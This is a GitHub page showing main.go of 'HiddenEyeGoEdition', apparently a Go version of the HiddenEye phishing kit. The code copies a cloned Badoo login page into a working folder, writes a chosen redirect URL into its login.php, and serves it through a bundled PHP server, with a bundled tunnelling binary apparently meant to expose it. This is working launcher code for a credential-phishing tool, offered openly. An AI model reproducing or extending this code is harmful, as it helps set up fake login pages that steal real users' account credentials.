-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathmain.go
155 lines (135 loc) · 3.26 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
package main
import (
"HiddenEyeGoEdition/localization"
"fmt"
"log"
"os"
"os/exec"
"strings"
cp "github.com/otiai10/copy"
"github.com/shirou/gopsutil/v3/process"
)
func main() {
prereqs()
mainRunner()
capturePage()
}
func KillProcess(name string) error {
processes, err := process.Processes()
if err != nil {
return err
}
for _, p := range processes {
n, err := p.Name()
if err != nil {
return err
}
if n == name {
return p.Kill()
}
}
return fmt.Errorf("process not found")
}
func fileExists(filename string) bool {
_, err := os.Stat(filename)
if os.IsNotExist(err) {
return false
}
return err == nil
}
func prereqs() {
fmt.Println(localization.TerminalClear)
fmt.Println(localization.Title)
fmt.Println(localization.TitleDash)
fmt.Println()
fmt.Println(localization.EulaApproval)
var EulaPerms string
fmt.Scanln(&EulaPerms)
fmt.Println(localization.TerminalClear)
KillProcess("php")
switch EulaPerms {
case "Y", "y":
checkExecutables()
case "N", "n":
fmt.Println(localization.EulaDenied)
os.Exit(0)
default:
prereqs()
}
}
func checkExecutables() {
boreExists := fileExists("src/bore.exe")
phpExists := fileExists("src/php/php.exe")
switch {
case boreExists && phpExists:
// Both executables exist, nothing to do here
case !boreExists && phpExists:
fmt.Println(localization.MissingBore)
case boreExists && !phpExists:
fmt.Println(localization.MissingPhp)
case !boreExists && !phpExists:
fmt.Println(localization.BigOopsie)
os.Exit(0)
}
}
func mainRunner() {
fmt.Println(localization.Title)
fmt.Println(localization.TitleDash)
fmt.Println()
fmt.Println(localization.PageList)
fmt.Println(localization.PageChooser)
var MainMenu string
fmt.Scanln(&MainMenu)
switch MainMenu {
case "1":
webpageCopier("badoo")
redirectChange()
localhost()
}
}
func webpageCopier(webpage string) {
if err := os.RemoveAll("workingfolder"); err != nil {
log.Fatalf("Failed to remove directory: %v", err)
}
if err := os.Mkdir("workingfolder", 0755); err != nil {
log.Fatalf("Failed to create directory: %v", err)
}
if err := cp.Copy("webpages/"+webpage, "workingfolder"); err != nil {
log.Fatalf("Failed to copy files: %v", err)
}
}
func redirectChange() {
fmt.Println(localization.TerminalClear)
fmt.Println(localization.Title)
fmt.Println(localization.TitleDash)
fmt.Println()
fmt.Println(localization.RedirectPage)
var redirectLink string
fmt.Scanln(&redirectLink)
content, err := os.ReadFile("workingfolder/login.php")
if err != nil {
log.Fatalf("Failed to read file: %v", err)
}
if !strings.Contains(string(content), "<CUSTOM>") {
log.Println("No <CUSTOM> placeholder found in the file")
return
}
modifiedContent := strings.Replace(string(content), "<CUSTOM>", redirectLink, -1)
err = os.WriteFile("workingfolder/login.php", []byte(modifiedContent), 0644)
if err != nil {
log.Fatalf("Failed to write file: %v", err)
}
}
func localhost() {
cmd := exec.Command("src/php/php.exe", "-t", "workingfolder", "-S", "localhost:8000")
if err := cmd.Start(); err != nil {
log.Fatalf("Failed to start PHP server: %v", err)
}
}
func capturePage() {
fmt.Println(localization.TerminalClear)
fmt.Println(localization.Title)
fmt.Println(localization.TitleDash)
fmt.Println()
fmt.Println(localization.LocalhostUrl)
}